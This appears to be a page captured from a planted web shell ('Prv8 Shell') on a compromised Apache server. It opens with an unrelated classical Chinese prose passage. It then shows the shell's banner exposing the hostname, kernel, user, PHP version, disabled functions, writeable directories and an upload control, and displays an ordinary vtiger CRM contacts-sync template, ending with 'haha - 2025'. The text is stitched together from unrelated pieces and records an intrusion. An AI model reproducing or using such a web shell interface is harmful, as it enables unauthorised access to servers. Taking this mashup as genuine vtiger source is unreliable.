晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/pkg/vtiger/modules/Google/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/pkg/vtiger/modules/Google/templates/ContactsSyncSettings.tpl
{*<!--
/*********************************************************************************
 ** The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *********************************************************************************/
-->*}
{strip}
<div class="modelContainer" style="min-width: 800px;">
    <div class="modal-header contentsBackground">
        <button class="close" aria-hidden="true" data-dismiss="modal" type="button" title="{vtranslate('LBL_CLOSE')}">x</button>
        <h3>{vtranslate('SYNC_SETTINGS', $MODULENAME)}</h3>
    </div>
    <form class="form-horizontal" name="contactsyncsettings">
        <input type="hidden" name="module" value="{$MODULENAME}" />
        <input type="hidden" name="action" value="SaveSettings" />
        <input type="hidden" name="sourcemodule" value="{$SOURCE_MODULE}" />
        <input id="user_field_mapping" type="hidden" name="fieldmapping" value="fieldmappings" />
        <input id="google_fields" type="hidden" value='{Zend_Json::encode($GOOGLE_FIELDS)}' />
        <div class="modal-body">
            <div class="sync-settings">
            <div class="row-fluid">
                <div class="control-group">
                    <label class="control-label">{vtranslate('LBL_SELECT_GOOGLE_GROUP_TO_SYNC',$MODULENAME)}&nbsp;</label>
                    <div class="controls">
                        <select class="select2 stretched" name="google_group" style="width:250px;">
                            <option value="all">{vtranslate('LBL_ALL',$MODULENAME)}</option>
                            {assign var=IS_GROUP_DELETED value=1}
                            {foreach item=ENTRY from=$GOOGLE_GROUPS['entry']}
                                <option value="{$ENTRY['id']}" {if $ENTRY['id'] eq $SELECTED_GROUP} {assign var=IS_GROUP_DELETED value=0} selected {/if}>{$ENTRY['title']}</option>
                            {/foreach}
                            {if $IS_GROUP_DELETED && $SELECTED_GROUP != 'all'}
                                {if $SELECTED_GROUP != ''}<option value="none" selected>{vtranslate('LBL_NONE',$MODULENAME)}</option>{/if}
                            {/if}
                        </select>
                    </div>
                </div>
            </div>
            <div class="pull-right">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div>
            <div class="btn-group pull-right">
                <button id="googlesync_addcustommapping" class="btn btn-default btn-sm dropdown-toggle" type="button" data-toggle="dropdown">
                    <span class="caret"></span>&nbsp;{vtranslate('LBL_ADD_CUSTOM_FIELD_MAPPING',$MODULENAME)}
                </button>
                <ul class="dropdown-menu dropdown-menu-left" role="menu">
                    <li class="addCustomFieldMapping" data-type="email" data-vtigerfields='{Zend_Json::encode($VTIGER_EMAIL_FIELDS)}'><a>{vtranslate('LBL_EMAIL',$MODULENAME)}</a></li>
                    <li class="addCustomFieldMapping" data-type="phone" data-vtigerfields='{Zend_Json::encode($VTIGER_PHONE_FIELDS)}'><a>{vtranslate('LBL_PHONE',$MODULENAME)}</a></li>
                    <li class="addCustomFieldMapping" data-type="url" data-vtigerfields='{Zend_Json::encode($VTIGER_URL_FIELDS)}'><a>{vtranslate('LBL_URL',$MODULENAME)}</a></li>
                    <li class="divider"></li>
                    <li class="addCustomFieldMapping" data-type="custom" data-vtigerfields='{Zend_Json::encode($VTIGER_OTHER_FIELDS)}'><a>{vtranslate('LBL_CUSTOM',$MODULENAME)}</a></li>
                </ul>
            </div>
            <div class="row-fluid">
                <div class="control-group">
                    <label class="control-label">{vtranslate('LBL_SELECT_SYNC_DIRECTION',$MODULENAME)}</label>
                    <div class="controls">
                        <select class="select2 stretched" name="sync_direction" style="width:250px;">
                            <option value="11" {if $SYNC_DIRECTION eq '11'}selected{/if}>{vtranslate('LBL_BI_DIRECTIONAL_SYNC',$MODULENAME)}</option>
                            <option value="10" {if $SYNC_DIRECTION eq '10'}selected{/if}>{vtranslate('LBL_ONLY_SYNC_FROM_GOOGLE_TO_VTIGER',$MODULENAME)}</option> 
                            <option value="01" {if $SYNC_DIRECTION eq '01'}selected{/if}>{vtranslate('LBL_ONLY_SYNC_FROM_VTIGER_TO_GOOGLE',$MODULENAME)}</option>
                        </select>
                    </div>
                </div>
            </div>
            </div>
            <div id="googlesyncfieldmapping" style="margin:15px;">
                <table  class="table table-bordered">
                    <thead>
                        <tr>
                            <td><b>{vtranslate('APPTITLE',$MODULENAME)}</b></td>
                            <td><b>{vtranslate('EXTENTIONNAME',$MODULENAME)}</b></td>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            {assign var=FLDNAME value="salutationtype"}
                            <td>
                                {vtranslate('Salutation',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                {vtranslate('Name Prefix',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS[$FLDNAME]['name']}" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="firstname"}
                            <td>
                                {vtranslate('First Name',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                {vtranslate('First Name',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS[$FLDNAME]['name']}" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="lastname"}
                            <td>
                                {vtranslate('Last Name',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                {vtranslate('Last Name',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS[$FLDNAME]['name']}" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="title"}
                            <td>
                                {vtranslate('Title',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                {vtranslate('Job Title',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS[$FLDNAME]['name']}" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="account_id"}
                            <td>
                                {vtranslate('Organization Name',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                {vtranslate('Company',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['organizationname']['name']}" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="birthday"}
                            <td>
                                {vtranslate('Date of Birth',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                {vtranslate('Birthday',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS[$FLDNAME]['name']}" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="email"}
                            <td>
                                {vtranslate('Email',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['email']['name']}" />
                                {assign var="GOOGLE_TYPES" value=$GOOGLE_FIELDS[$FLDNAME]['types']}
                                <select class="select2 google-type" style="width:200px;" data-category="email">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING[{$FLDNAME}]['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Email',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}" 
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]" />
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="secondaryemail"}
                            <td>
                                {vtranslate('Secondary Email',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['email']['name']}" />
                                {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['email']['types']}
                                <select class="select2 google-type" style="width:200px;" data-category="email">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING['secondaryemail']['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Email',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}" 
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="mobile"}
                            <td>
                                {vtranslate('Mobile Phone',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['phone']['name']}" />
                                {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['phone']['types']}
                                <select class="select2 stretched google-type" style="width:200px;" data-category="phone">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Phone',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}" 
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="phone"}
                            <td>
                                {vtranslate('Office Phone',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['phone']['name']}" />
                                {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['phone']['types']}
                                <select class="select2 stretched google-type" style="width:200px;" data-category="phone">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Phone',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}"
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="homephone"}
                            <td>
                                {vtranslate('Home Phone',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}" />
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['phone']['name']}" />
                                {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['phone']['types']}
                                <select class="select2 stretched google-type" style="width:200px;" data-category="phone">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Phone',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}" 
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="mailingaddress"}
                            <td>
                                {vtranslate('Mailing Address',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}">
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['address']['name']}" />
                                {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['address']['types']}
                                <select class="select2 stretched google-type" style="width:200px;" data-category="address">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Address',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}" 
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="otheraddress"}
                            <td>
                                {vtranslate('Other Address',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}">
                            </td>
                            <td>
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS['address']['name']}" />
                                {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['address']['types']}
                                <select class="select2 stretched google-type" style="width:200px;" data-category="address">
                                    {foreach item=TYPE from=$GOOGLE_TYPES}
                                        <option value="{$TYPE}" {if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Address',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                    {/foreach}
                                </select>&nbsp;&nbsp;
                                <input type="text" class="google-custom-label" style="visibility:{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                       value="{if $FIELD_MAPPING[$FLDNAME]['google_field_type'] eq 'custom'}{$FIELD_MAPPING[$FLDNAME]['google_custom_label']}{/if}" 
                                       data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                            </td>
                        </tr>
                        <tr>
                            {assign var=FLDNAME value="description"}
                            <td>
                                {vtranslate('Description',$SOURCE_MODULE)}
                                <input type="hidden" class="vtiger_field_name" value="{$FLDNAME}">
                            </td>
                            <td>
                                {vtranslate('Note',$MODULENAME)}
                                <input type="hidden" class="google_field_name" value="{$GOOGLE_FIELDS[$FLDNAME]['name']}" />
                            </td>
                        </tr>
                        {foreach key=VTIGER_FIELD_NAME item=CUSTOM_FIELD_MAP from=$CUSTOM_FIELD_MAPPING}
                            <tr>
                                <td>
                                    {if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gd:email'}
                                        <select class="select2 stretched vtiger_field_name" style="width:200px;" data-category="email">
                                            {foreach key=EMAIL_FIELD_NAME item=EMAIL_FIELD_LABEL from=$VTIGER_EMAIL_FIELDS}
                                                <option value="{$EMAIL_FIELD_NAME}" {if $VTIGER_FIELD_NAME eq $EMAIL_FIELD_NAME}selected{/if}>{vtranslate($EMAIL_FIELD_LABEL,$SOURCE_MODULE)}</option>
                                            {/foreach}
                                        </select>
                                    {else if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gd:phoneNumber'}
                                        <select class="select2 stretched vtiger_field_name" style="width:200px;" data-category="phone">
                                            {foreach key=PHONE_FIELD_NAME item=PHONE_FIELD_LABEL from=$VTIGER_PHONE_FIELDS}
                                                <option value="{$PHONE_FIELD_NAME}" {if $VTIGER_FIELD_NAME eq $PHONE_FIELD_NAME}selected{/if}>{vtranslate($PHONE_FIELD_LABEL,$SOURCE_MODULE)}</option>
                                            {/foreach}
                                        </select>
                                    {else if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gContact:userDefinedField'}
                                        <select class="select2 stretched vtiger_field_name" style="width:200px;" data-category="custom">
                                            {foreach key=OTHER_FIELD_NAME item=OTHER_FIELD_LABEL from=$VTIGER_OTHER_FIELDS}
                                                <option value="{$OTHER_FIELD_NAME}" {if $VTIGER_FIELD_NAME eq $OTHER_FIELD_NAME}selected{/if}>{vtranslate($OTHER_FIELD_LABEL,$SOURCE_MODULE)}</option>
                                            {/foreach}
                                        </select>
                                    {else if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gContact:website'}
                                        <select class="select2 stretched vtiger_field_name" style="width:200px;" data-category="url">
                                            {foreach key=URL_FIELD_NAME item=URL_FIELD_LABEL from=$VTIGER_URL_FIELDS}
                                                <option value="{$URL_FIELD_NAME}" {if $VTIGER_FIELD_NAME eq $URL_FIELD_NAME}selected{/if}>{vtranslate($URL_FIELD_LABEL,$SOURCE_MODULE)}</option>
                                            {/foreach}
                                        </select>
                                    {/if}
                                </td>
                                <td>
                                    <input type="hidden" class="google_field_name" value="{$CUSTOM_FIELD_MAP['google_field_name']}" />
                                    {if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gd:email'}
                                        {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['email']['types']}
                                        <select class="select2 google-type" style="width:200px;" data-category="email">
                                            {foreach item=TYPE from=$GOOGLE_TYPES}
                                                <option value="{$TYPE}" {if $CUSTOM_FIELD_MAP['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Email',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                            {/foreach}
                                        </select>&nbsp;&nbsp;
                                        <input type="text" class="google-custom-label" style="visibility:{if $CUSTOM_FIELD_MAP['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                               value="{if $CUSTOM_FIELD_MAP['google_field_type'] eq 'custom'}{$CUSTOM_FIELD_MAP['google_custom_label']}{/if}" data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                                    {else if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gd:phoneNumber'}
                                        {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['phone']['types']}
                                        <select class="select2 google-type" style="width:200px;" data-category="phone">
                                            {foreach item=TYPE from=$GOOGLE_TYPES}
                                                <option value="{$TYPE}" {if $CUSTOM_FIELD_MAP['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('Phone',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                            {/foreach}
                                        </select>&nbsp;&nbsp;
                                        <input type="text" class="google-custom-label" style="visibility:{if $CUSTOM_FIELD_MAP['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                               value="{if $CUSTOM_FIELD_MAP['google_field_type'] eq 'custom'}{$CUSTOM_FIELD_MAP['google_custom_label']}{/if}" data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                                    {else if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gContact:userDefinedField'}
                                        <input type="hidden" class="google-type" value="{$CUSTOM_FIELD_MAP['google_field_type']}">
                                        <input type="text" class="google-custom-label" value="{$CUSTOM_FIELD_MAP['google_custom_label']}" style="width:190px;" data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                                    {else if $CUSTOM_FIELD_MAP['google_field_name'] eq 'gContact:website'}
                                        {assign var=GOOGLE_TYPES value=$GOOGLE_FIELDS['url']['types']}
                                        <select class="select2 google-type" style="width:200px;" data-category="url">
                                            {foreach item=TYPE from=$GOOGLE_TYPES}
                                                <option value="{$TYPE}" {if $CUSTOM_FIELD_MAP['google_field_type'] eq $TYPE}selected{/if}>{vtranslate('URL',$MODULENAME)} ({vtranslate($TYPE,$MODULENAME)})</option>
                                            {/foreach}
                                        </select>&nbsp;&nbsp;
                                        <input type="text" class="google-custom-label" style="visibility:{if $CUSTOM_FIELD_MAP['google_field_type'] neq 'custom'}hidden{else}visible{/if};width:190px;" 
                                               value="{if $CUSTOM_FIELD_MAP['google_field_type'] eq 'custom'}{$CUSTOM_FIELD_MAP['google_custom_label']}{/if}" data-validation-engine="validate[required,funcCall[Vtiger_Base_Validator_Js.invokeValidation]]"/>
                                    {/if}
                                    <a class="deleteCustomMapping pull-right"><i title="Delete" class="icon-trash"></i></a>
                                </td>
                            </tr>
                        {/foreach}
                    </tbody>
                </table>
                <br>
                <br><br>
            </div>            
        </div>
    </form>
    <div class="modal-footer">
        <div class="pull-right cancelLinkContainer" style="margin-top:0px;">
            <a class="cancelLink" type="reset" data-dismiss="modal">{vtranslate('LBL_CANCEL', $MODULE)}</a>
        </div>
        <button id="save_syncsetting" class="btn btn-success"><strong>{vtranslate('LBL_SAVE', $MODULE)}</strong></button>
    </div>
</div>
{/strip}

haha - 2025